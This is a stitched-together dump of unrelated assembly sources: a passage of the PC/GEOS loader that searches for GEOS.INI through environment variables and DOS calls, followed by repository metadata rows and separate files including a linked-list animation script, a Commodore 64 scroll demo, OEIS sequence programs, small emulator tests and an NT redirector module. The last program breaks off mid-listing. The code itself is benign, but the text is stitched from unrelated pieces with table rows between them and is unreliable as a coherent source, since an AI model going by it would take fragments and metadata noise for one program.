RETURN:
carry - set if error (not found)
KLV_topLevelPath - set
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 4/91 Initial version
------------------------------------------------------------------------------@
LocateInCurrentDir proc near
segmov es, cs
mov di, offset loaderVars.KLV_bootupPath
stc
call LookForIniOnPathESDI
ret
LocateInCurrentDir endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: LocateInGEOSDIR
DESCRIPTION: Try to locate the geos.ini file in the the path given by
the environment variable GEOSDIR
CALLED BY: LocateGeosDir
PASS:
ds - loader segment
RETURN:
carry - set if error (not found)
KLV_topLevelPath - set
DESTROYED:
ax, bx, cx, dx, si, di, bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 4/91 Initial version
-------------------------------------------------------------------------------@
LocateInGEOSDIR proc near
; first locate the environment variable
mov si, offset geosDirString
stc
call FindEnvironmentVariable
jc done
; copy var into buffer
stc
call LookForIniOnPathESDI
done:
ret
LocateInGEOSDIR endp
geosDirString char "GEOSDIR", 0
COMMENT @----------------------------------------------------------------------
FUNCTION: LookForIniOnPathESDI
DESCRIPTION: Look for a geos.ini file in the path at es:di
CALLED BY: LocateInGEOSDIR, LocateOnPath
PASS:
carry - set to copy path (clear if already in topLevelPath)
es:di - path to look at (must be in loader segment)
RETURN:
es:di - pointing after path
carry - set if error
KLV_topLevelPath - set
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/91 Initial version
------------------------------------------------------------------------------@
LookForIniOnPathESDI proc near uses ax, cx, dx, si, bp, ds, es
.enter
jnc afterCopy
segmov ds, es ;ds:si <- path entry
mov si, di
segmov es, cs
mov di, offset loaderVars.KLV_topLevelPath ;es:di <- buffer
if DBCS_PCGEOS
mov cx, length loaderVars.KLV_topLevelPath
else
mov cx, size loaderVars.KLV_topLevelPath
endif
; add drive letter if not there (use the boot path's drive letter)
cmp {char} ds:[si], '\\'
jne transferLoop
mov ax, {word}ds:[loaderVars.KLV_bootupPath]
stosw
transferLoop:
; copy all chars in path entry except seperator
lodsb
stosb
tst al
je sepFound ;branch if so
cmp al, ';' ;entry seperator?
loopne transferLoop
sepFound:
dec di
dec si ;point ds:si at separator
stc
jcxz done ;bail if no more room
;-----------------------------------------------------------------------
;tack on the name "GEOS.INI" to path entry
afterCopy:
mov bp, di ;save end of path
call TackOnFilename
jc done
segmov ds, cs ;ds <- loader segment
mov dx, offset loaderVars.KLV_topLevelPath
mov ax, MSDOS_GET_SET_ATTRIBUTES shl 8
int 21h
mov {char} es:[bp], 0
done:
mov di, si
.leave
ret
LookForIniOnPathESDI endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: TackOnFilename
DESCRIPTION: Completes the full path name for the GEOS.INI file given the
full path to the directory in which the file sits.
CALLED BY: LocateOnPath
PASS:
es:di - addr of path terminator where a \filename will be placed
cx - room left in the buffer (must be 2 bytes or more)
RETURN:
carry set if couldn't fit in the buffer
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 4/91 Initial version
-------------------------------------------------------------------------------@
TackOnFilename proc near uses ax, si, di, ds
.enter
segmov ds, cs
mov si, offset loaderName
mov al, '\\'
cmp es:[di-1], al
je TAF_loop
stosb
dec cx
stc
jz done ;skip to end (with error)
;if ran out of room already...
TAF_loop:
lodsb
stosb ;copy up to and incl null
tst al
loopne TAF_loop
jz done
stc ;ran out of room!
done:
.leave
ret
TackOnFilename endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: LocateAtEndOfEnv
DESCRIPTION: Try to locate the geos.ini file using the path stored at
the end of the environment
CALLED BY: LocateGeosDir
PASS:
ds - loader segment
RETURN:
carry - set if error (not found)
KLV_topLevelPath - set
DESTROYED:
ax, bx, cx, dx, si, di, bp, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 4/91 Initial version
-------------------------------------------------------------------------------@
LocateAtEndOfEnv proc near
; check DOS version
mov ax, MSDOS_GET_VERSION shl 8
int 21h
cmp al, 3
jae dosOK
stc
ret
dosOK:
; skip past all the strings in the environment block
mov es, ds:[loaderVars].KLV_envSegment ;es = enviroment block
clr di
clr al
mov cx, -1
findEndLoop:
repne scasb
scasb
loopne findEndLoop
; ds:si = path to kernel/stub
mov si, di
segmov ds, es ;ds = env
segmov es, cs ;es = loader
lodsw ; skip over count (might do something with
; it at some point...)
mov di, offset loaderVars.KLV_topLevelPath
mov dx, di
mov cx, PATH_BUFFER_SIZE
cmp {char}ds:[si+1], ':' ; Full path there?
je copyFromEnv
; full path not recorded in environment, so must be relative to the
; boot directory...Copy in the boot path first
push si, ds
segmov ds, cs ;ds = loader
mov si, offset loaderVars.KLV_bootupPath
call strncpy
pop si, ds
mov {char}es:[di-1], '\\' ; Overwrite the terminator
cmp {char}ds:[si], '\\' ; absolute?
jne copyFromEnv
segmov ds, cs
mov di, offset loaderVars.KLV_topLevelPath+2
; yes -- just use drive letter
; from bootupPath
copyFromEnv:
call strncpy
; remove filename from full pathname now stored in topLevelPath
segmov ds, cs ; ds = loader
segmov es, cs
mov di, dx ; es:di <- full path name
clr al
mov cx, -1 ; find null-terminator
repne scasb
not cx ; cx = full path length
dec di ;place di over null terminator
mov al, '\\'
std
repne scasb
cld
cmp {char} ds:[di], ':' ;leave backslash if in root
jne dontLeaveBackslash
inc di
inc cx
dontLeaveBackslash:
inc di
mov {char}ds:[di], 0
;-----------------------------------------------------------------------
;go to PC/GEOS top level directory
segmov es, ds ;es:di = end of path
clc ;no copy
call LookForIniOnPathESDI
ret
LocateAtEndOfEnv endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: LocateOnPath
DESCRIPTION: Try to locate the geos.ini file on the paths that are
specified in the "PATH" environment variable.
CALLED BY: LocateGeosDir
PASS:
ds, es - loader segment
RETURN:
carry - set if error (not found)
es:di - path to use
DESTROYED:
ax, bx, cx, dx, si, bp
REGISTER/STACK USAGE:
es:di - environment block
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 4/91 Initial version
-------------------------------------------------------------------------------@
LocateOnPath proc near
mov si, offset pathString ;use the "PATH" environment
;variable.
call FindEnvironmentVariable
jc done
locateLoop:
stc
call LookForIniOnPathESDI
jnc done
;is there another path in this PATH string?
mov al, ';'
scasb
jz locateLoop ;loop to check it if so...
;no: return error code
stc
done:
ret
LocateOnPath endp
pathString char "PATH", 0
COMMENT @----------------------------------------------------------------------
FUNCTION: FindEnvironmentVariable
DESCRIPTION: Find an environment variable
CALLED BY: LocateOnPath
PASS:
cs:si - environment variable to find
RETURN:
carry - set if error (not found)
es:di - pointing at environment variable
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/91 Initial version
------------------------------------------------------------------------------@
FindEnvironmentVariable proc near uses ax, cx, dx, si, ds
.enter
segmov ds, cs ;ds:si = var to find
mov dx, si
mov es, ds:[loaderVars].KLV_envSegment ;es:di <- env block
clr di
locateLoop:
mov si, dx ;ds:si = var to find
cmpLoop:
lodsb
scasb
jz cmpLoop
tst al
jnz nextCategory
cmp {char} es:[di-1], '='
clc
jz done
nextCategory:
dec di
clr al
mov cx, 0ffffh
repne scasb ;locate category terminator
cmp {char} es:[di], 0 ;end of environment block?
jnz locateLoop
stc
done:
.leave
ret
FindEnvironmentVariable endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: LocateIniUsingPathFromEnvVar
DESCRIPTION: Try to locate the geos.ini file using the path
specified as an environment variable.
CALLED BY: OpenIniFiles
PASS:
ds, es - loader segment
RETURN:
carry - set if error (not found)
es:di - path to use
DESTROYED:
ax, bx, cx, dx, si, bp
REGISTER/STACK USAGE:
es:di - environment block
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 11/92 Copied from LocateOnPath, with changes.
-------------------------------------------------------------------------------@
if 0 ;DISABLED BECAUSE THIS WILL NOT HELP US... EDS 11/14/92
;This is an environment variable that can be set in DOS to specify
;exactly where the primary GEOS.INI file is.
iniPathString char "INIPATH",0
LocateIniUsingPathFromEnvVar proc near
uses es
.enter
mov si, offset iniPathString ;use the "INIPATH" environment
call FindEnvironmentVariable ;returns es:di = variable
jc done ;skip if none...
;locateLoop:
call LookForIniOnPathESDI2
; jnc done
;
; ;is there another path in this PATH string?
;
; mov al, ';'
; scasb
; jz locateLoop ;loop to check it if so...
;
; ;no: return error code
;
; stc
done:
.leave
ret
LocateIniUsingPathFromEnvVar endp
endif
COMMENT @----------------------------------------------------------------------
FUNCTION: LookForIniOnPathESDI2
DESCRIPTION: Look for a geos.ini file in the path at es:di
CALLED BY: LocateIniUsingPathFromEnvVar
PASS:
ds - loader segment
carry - set to copy path (clear if already in topLevelPath)
es:di - path to look at
RETURN:
specialIniFilePathAndName - set
carry - set if error
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 11/92 Yes, a direct copy of LookForIniOnPathESDI,
with just enough changes to justify it.
------------------------------------------------------------------------------@
if 0 ;DISABLED BECAUSE THIS WILL NOT HELP US... EDS 11/14/92
LookForIniOnPathESDI2 proc near
uses ax, cx, dx, si, bp, ds, es
.enter
mov ax, {word}ds:[loaderVars.KLV_bootupPath]
;in case we need it below
segmov ds, es ;ds:si <- path entry
mov si, di
segmov es, cs
mov di, offset specialIniFilePathAndName ;es:di <- buffer
mov cx, size specialIniFilePathAndName
;add drive letter if not there (use the boot path's drive letter)
cmp {char} ds:[si], '\\'
jne transferLoop
stosw
transferLoop:
; copy all chars in path entry except seperator
lodsb
stosb
tst al
je sepFound ;branch if so
cmp al, ';' ;entry seperator?
loopne transferLoop
sepFound:
dec di
dec si ;point ds:si at separator
stc
jcxz done ;bail if no more room
;-----------------------------------------------------------------------
;tack on the name "GEOS.INI" to path entry
afterCopy:
call TackOnFilename
jc done ;fail if ran out of room...
segmov ds, cs ;ds <- loader segment
mov dx, offset specialIniFilePathAndName
mov ax, MSDOS_GET_SET_ATTRIBUTES shl 8
int 21h
done:
.leave
ret
LookForIniOnPathESDI2 endp
endif
endif ; HARD_CODED_PATH
| 19.62793 | 81 | 0.595851 |
27dfcc241f00d36c96686a533cafb217f15b7a71 | 1,905 | asm | Assembly | ADL/Assemble/Update/1/R~H~R_sort_dec.asm | MaxMorning/LinkedListVisualization | b2a4f8f11ff6f6dfb495566a006e3472f1dac369 | [
"Apache-2.0"
] | 3 | 2021-11-06T03:47:08.000Z | 2021-11-06T03:47:11.000Z | ADL/Assemble/Update/1/R~H~R_sort_dec.asm | MaxMorning/LinkedListVisualization | b2a4f8f11ff6f6dfb495566a006e3472f1dac369 | [
"Apache-2.0"
] | null | null | null | ADL/Assemble/Update/1/R~H~R_sort_dec.asm | MaxMorning/LinkedListVisualization | b2a4f8f11ff6f6dfb495566a006e3472f1dac369 | [
"Apache-2.0"
] | 1 | 2021-11-06T03:47:14.000Z | 2021-11-06T03:47:14.000Z | aLine 0
gBne Root, null, 3
aLine 1
Halt
aLine 3
gNew rearPtr
gMove rearPtr, Root
gNewVPtr rearNext
gMoveNext rearNext, rearPtr
aLine 4
gBeq rearNext, Root, 5
aLine 5
gMove rearPtr, rearNext
gMoveNext rearNext, rearNext
Jmp -5
aLine 7
nNew headNode, -1
aLine 8
nMoveRelOut headNode, Root, 150
pSetNext headNode, Root
aLine 9
pSetNext rearPtr, headNode
aLine 10
gMove Root, headNode
aStd
aLine 11
gNew basePtr
gMoveNext basePtr, Root
gNewVPtr minNext
gNewVPtr rootNext
gMoveNext rootNext, Root
aLine 12
gNew basePrev
gMove basePrev, Root
gNew minPtr, 1085, 800
gNew minPrev, 1085, 860
gNew currentPtr, 1085, 920
gNew currentPrev, 1085, 980
aLine 13
gBeq basePtr, Root, 45
aLine 15
gMove minPtr, basePtr
aLine 16
gMove minPrev, basePrev
aLine 17
gMoveNext currentPtr, basePtr
aLine 18
gMove currentPrev, basePtr
aLine 19
gBeq currentPtr, Root, 12
aLine 20
vBle minPtr, currentPtr, 5
aLine 21
gMove minPrev, currentPrev
aLine 22
gMove minPtr, currentPtr
aLine 24
gMove currentPrev, currentPtr
aLine 25
gMoveNext currentPtr, currentPtr
Jmp -12
aLine 28
gBne minPtr, basePtr, 3
aLine 29
gMoveNext basePtr, basePtr
aLine 31
gBne basePrev, Root, 5
aLine 32
gMove basePrev, minPtr
aLine 33
gMove rearPtr, minPtr
aLine 35
gMoveNext minNext, minPtr
nMoveRelOut minPtr, minPtr, 100
pSetNext minPrev, minNext
aLine 36
pDeleteNext minPtr
nMoveRelOut minPtr, Root, 100
gMoveNext rootNext, Root
pSetNext minPtr, rootNext
aLine 37
pSetNext Root, minPtr
aStd
Jmp -45
aLine 39
gNewVPtr headNext
gMoveNext headNext, headNode
nMoveRelOut headNode, headNode, 100
pSetNext rearPtr, headNext
aLine 40
gMoveNext Root, headNode
aLine 41
pDeleteNext headNode
nDelete headNode
gDelete headNode
aLine 42
gDelete basePrev
gDelete basePtr
gDelete minNext
gDelete minPtr
gDelete minPrev
gDelete rootNext
gDelete currentPtr
gDelete currentPrev
gDelete headNext
gDelete rearNext
gDelete rearPtr
aStd
Halt | 13.229167 | 35 | 0.805249 |
31ad1cd9d4a1cba272f143053db931760f644575 | 147 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/英語_PAL/pal_asm/zel_end2.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/英語_PAL/pal_asm/zel_end2.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/英語_PAL/pal_asm/zel_end2.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: zel_end2.asm
Type: file
Size: 147379
Last-Modified: '2016-05-13T04:25:37Z'
SHA-1: 741B67CECC39CE5A0AA60BDC85C318074B4D33B4
Description: null
| 21 | 47 | 0.816327 |
1aa22187fd86179c5759f9bb109404426967c1d3 | 665 | asm | Assembly | ywobble.asm | cslarsen/c64-examples | 93f1ebfbf813dc19ddf3ec1f2c8c443da4afd38b | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 15 | 2017-03-25T21:09:12.000Z | 2021-09-08T02:47:22.000Z | ywobble.asm | cslarsen/c64-examples | 93f1ebfbf813dc19ddf3ec1f2c8c443da4afd38b | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | ywobble.asm | cslarsen/c64-examples | 93f1ebfbf813dc19ddf3ec1f2c8c443da4afd38b | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 2 | 2017-03-25T21:09:16.000Z | 2019-10-30T12:46:35.000Z | ; "wobbles" (more like staccatos) screen's yscroll
!source "basic-boot.asm"
+start_at $0900
lda #$00
.loop
; Wait for vsync
cmp $d012
bne .loop
; Only alter yscroll on every nth frame
dec .framecount
cmp .framecount
bne .loop
; Reset counter
lda #$2a ; number of frames to skip
; I've tried restarting every second, but without using IRQs, it's hard to get this
; entirely correct
sta .framecount
; Increment ypos
inc .ypos
lda .ypos
and #$07
sta .ypos
; Only set last three bits of $d011 (control register 1)
lda $d011
and #$f8
ora .ypos
sta $d011
lda #$00
jmp .loop
.ypos !byte $03
.framecount !byte $00
| 16.219512 | 85 | 0.663158 |
fba8662fbac94c1f528e547eb9beef2583dea5d4 | 625 | asm | Assembly | oeis/067/A067900.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/067/A067900.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/067/A067900.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A067900: a(n) = 14*a(n-1) - a(n-2); a(0) = 0, a(1) = 8.
; 0,8,112,1560,21728,302632,4215120,58709048,817711552,11389252680,158631825968,2209456310872,30773756526240,428623135056488,5969950134264592,83150678744647800,1158139552290804608,16130803053326616712,224673103194281829360,3129292641666618994328,43585423880138384091232,607066641680270758282920,8455347559643652231869648,117767799193330860487892152,1640293841146988394598620480,22846345976864506663892794568,318208549834956104899900503472,4432073351712520961934714254040
mul $0,2
mov $2,1
lpb $0
sub $0,1
add $2,$1
add $2,$1
add $1,$2
lpe
mul $1,2
mov $0,$1
| 44.642857 | 470 | 0.8176 |
bff96f74c3ff8f54daeac6c2a0ea5533a373ac13 | 137 | asm | Assembly | bdshemu_test/basic/test_64_selfwrite02.asm | andreaswimmer/bddisasm | 960e9eaeee4f87d8269095031cd6cfb8aabb998b | [
"Apache-2.0"
] | 1 | 2020-11-18T21:57:38.000Z | 2020-11-18T21:57:38.000Z | bdshemu_test/basic/test_64_selfwrite02.asm | andreaswimmer/bddisasm | 960e9eaeee4f87d8269095031cd6cfb8aabb998b | [
"Apache-2.0"
] | null | null | null | bdshemu_test/basic/test_64_selfwrite02.asm | andreaswimmer/bddisasm | 960e9eaeee4f87d8269095031cd6cfb8aabb998b | [
"Apache-2.0"
] | 1 | 2020-08-20T15:22:02.000Z | 2020-08-20T15:22:02.000Z |
bits 64
lea rsi, [rel _xxx]
mov rdi, rsi
lodsb
xor al, cl
stosb
_xxx:
nop
retn | 11.416667 | 27 | 0.408759 |
890010f409e85be453ba69eebbced200a654f0df | 622 | asm | Assembly | oeis/307/A307086.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/307/A307086.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/307/A307086.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A307086: Decimal expansion of 4*(5 - sqrt(5)*log(phi))/25, where phi is the golden ratio (A001622).
; Submitted by Jamie Morken(s3)
; 6,2,7,8,3,6,4,2,3,6,1,4,3,9,8,3,8,4,4,4,4,2,2,6,7,0,6,8,1,9,7,5,7,8,2,9,8,3,0,1,7,1,7,2,6,9,8,3,8,8,4,1,3,8,0,9,7,1,9,7,5,5,8,4,0,2,9,7,5,5,1,3,8,1,5,5,4,7,2,1,5,4,5,5,4,0,3,8,9,4,1,2,1,1,1,2,0,1,7,8
mov $1,1
mov $2,1
mov $3,$0
mul $3,4
lpb $3
mul $1,$3
mul $2,-2
mov $5,$3
mul $5,2
add $5,1
mul $2,$5
add $1,$2
mov $5,$0
add $5,2
div $1,$5
div $2,$5
sub $3,1
lpe
mul $1,2
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
add $1,$4
mov $0,$1
mul $0,9
sub $0,1
mod $0,10
| 18.848485 | 201 | 0.536977 |
9c5ea37f7124d6680bc7c74011b034c2f0003a95 | 2,301 | asm | Assembly | base/mvdm/dos/v86/redir/msgapi.asm | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | base/mvdm/dos/v86/redir/msgapi.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | base/mvdm/dos/v86/redir/msgapi.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | page ,132
if 0
/*++
Copyright (c) 1991 Microsoft Corporation
Module Name:
msgapi.asm
Abstract:
This module contains the messenger functions that we marginally support
for VDM
MessengerDispatch
Author:
Richard L Firth (rfirth) 21-Sep-1992
Environment:
Dos mode only
Revision History:
05-Sep-1991 rfirth
Created
--*/
endif
.xlist ; don't list these include files
.xcref ; turn off cross-reference listing
include dosmac.inc ; Break macro etc (for following include files only)
include error.inc ; DOS errors - ERROR_INVALID_FUNCTION
include segorder.inc ; segments
include debugmac.inc ; DbgPrint macro
include localmac.inc ; DbgPrint macro
include asmmacro.inc ; language extensions
include rdrsvc.inc ; BOP and SVC macros/dispatch codes
include rdrmisc.inc ; miscellaneous definitions
.cref ; switch cross-reference back on
.list ; switch listing back on
subttl ; kill subtitling started in include file
.286
ResidentCodeStart
assume cs:ResidentCode
assume ds:nothing
assume es:nothing
assume ss:nothing
MessengerDispatchTable label word
dw MessageInstalled
dw MessageDone
dw MessageLogging
dw MessageUserFunction
dw MessageUnusedFunction
dw MessagePauseContinue
LAST_MESSENGER_FUNCTION = (offset $ - offset MessengerDispatchTable)/2 - 1
public MessengerDispatch
MessengerDispatch proc near
cmp al,LAST_MESSENGER_FUNCTION
jbe @f
mov al,ERROR_INVALID_PARAMETER
stc
ret
@@: cbw
push bx
mov bx,ax
shl bx,1
mov ax,MessengerDispatchTable[bx]
pop bx
jmp ax
MessengerDispatch endp
MessageInstalled:
dec al
MessageDone:
ret
MessageLogging:
MessageUserFunction:
MessageUnusedFunction:
MessagePauseContinue:
; mov ax,ERROR_INVALID_FUNCTION
mov ax,2142 ; NERR_InvalidAPI
stc
retn
ResidentCodeEnd
end
| 22.782178 | 77 | 0.60452 |
a4f45c7c9ea8881f75de66636ac2b6fc8e8a7385 | 549 | asm | Assembly | oeis/196/A196290.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/196/A196290.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/196/A196290.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A196290: n^9 + n.
; 0,2,514,19686,262148,1953130,10077702,40353614,134217736,387420498,1000000010,2357947702,5159780364,10604499386,20661046798,38443359390,68719476752,118587876514,198359290386,322687697798,512000000020,794280046602,1207269217814,1801152661486,2641807540248,3814697265650,5429503679002,7625597485014,10578455953436,14507145975898,19683000000030,26439622160702,35184372088864,46411484401986,60716992766498,78815638671910,101559956668452,129961739795114,165216101262886,208728361158798,262144000000040
mov $1,$0
pow $0,9
add $0,$1
| 78.428571 | 498 | 0.876138 |
17558081b5e12a2e6b4c9757d2df4cfba06605e7 | 686 | asm | Assembly | oeis/054/A054585.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/054/A054585.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/054/A054585.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A054585: Sum_{d=1..n} phi(d)*mu(d).
; 0,1,0,-2,-2,-6,-4,-10,-10,-10,-6,-16,-16,-28,-22,-14,-14,-30,-30,-48,-48,-36,-26,-48,-48,-48,-36,-36,-36,-64,-72,-102,-102,-82,-66,-42,-42,-78,-60,-36,-36,-76,-88,-130,-130,-130,-108,-154,-154,-154,-154,-122,-122,-174,-174,-134,-134,-98,-70,-128,-128,-188,-158,-158,-158,-110,-130,-196,-196,-152,-176,-246,-246,-318,-282,-282,-282,-222,-246,-324,-324,-324,-284,-366,-366,-302,-260,-204,-204,-292,-292,-220,-220,-160,-114,-42,-42,-138,-138,-138
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,97945 ; a(n) = mu(n)*phi(n) where mu(n) is the Mobius function (A008683) and phi(n) is the Euler totient function (A000010).
add $3,$2
lpe
mov $0,$3
| 57.166667 | 445 | 0.569971 |
d98a2c4e4b6097acb0d9b070efa1d2541e04e39b | 360 | asm | Assembly | tests/test build script and options/opt syntax/syntax_EMPTY.asm | cizo2000/sjasmplus | 615d7c0e09a44aa2a923095fc9ed6dca6ecae4a4 | [
"BSD-3-Clause"
] | 220 | 2016-10-22T19:44:39.000Z | 2022-03-29T20:57:04.000Z | tests/test build script and options/opt syntax/syntax_EMPTY.asm | ped7g/sjasmplus | 487635c8057cd5594c372d9b70bc00a3f3a1ecc4 | [
"BSD-3-Clause"
] | 153 | 2018-05-07T10:31:23.000Z | 2022-03-30T04:35:59.000Z | tests/test build script and options/opt syntax/syntax_EMPTY.asm | ped7g/sjasmplus | 487635c8057cd5594c372d9b70bc00a3f3a1ecc4 | [
"BSD-3-Clause"
] | 51 | 2016-05-12T21:27:36.000Z | 2022-03-27T15:16:16.000Z | ; empty SYNTAX options should keep defaults
ld bc,hl ; fake enabled, no warning
sub a,b ; sub a : sub b
ld b,h, c,l ; ld b,h : ld c,l (same as first fake)
hl: ; no warning/error for using register name as label
ld a,(hl) ; memory reference
ld a,[hl] ; memory reference
| 45 | 75 | 0.519444 |
653779e67d5a4b4646aaac39611cac45941ca894 | 533 | asm | Assembly | oeis/178/A178065.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/178/A178065.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/178/A178065.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A178065: Number of 1's in binary representation of n-th semiprime.
; Submitted by Christian Krause
; 1,2,2,2,3,4,3,3,3,3,2,2,3,3,4,4,3,4,5,4,4,5,2,3,3,4,3,4,4,5,5,5,5,6,4,6,5,5,6,5,5,6,2,3,3,4,4,5,3,3,5,5,6,3,4,4,4,4,6,5,6,3,4,4,5,5,5,4,5,5,6,5,5,6,6,4,6,6,7,6,7,7,3,3,3,4,3,4,6,3,4,5,4,5,5,5,6,4,5,5
seq $0,75818 ; Even numbers with exactly 3 prime factors (counted with multiplicity).
seq $0,7088 ; The binary numbers (or binary words, or binary vectors, or binary expansion of n): numbers written in base 2.
div $0,9
mod $0,10
| 59.222222 | 201 | 0.65666 |
22ee80068fe4a3a53179da55fc55a97740f3d238 | 769 | asm | Assembly | programs/oeis/273/A273406.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/273/A273406.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/273/A273406.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A273406: Partial sums of the number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 673", based on the 5-celled von Neumann neighborhood.
; 1,5,26,70,147,263,428,648,933,1289,1726,2250,2871,3595,4432,5388,6473,7693,9058,10574,12251,14095,16116,18320,20717,23313,26118,29138,32383,35859,39576,43540,47761,52245,57002,62038,67363,72983,78908,85144,91701,98585
mov $2,$0
add $2,1
mov $7,$0
lpb $2
mov $0,$7
sub $2,1
sub $0,$2
mov $8,$0
add $0,1
mov $4,$8
mul $4,2
add $4,1
add $8,7
mov $3,$8
mov $6,5
mov $8,$4
mul $8,$4
mov $4,$3
mov $10,$8
lpb $0
gcd $4,2
mov $5,$10
trn $5,$6
add $5,2
mov $8,$4
add $9,2
trn $0,$9
lpe
sub $5,$8
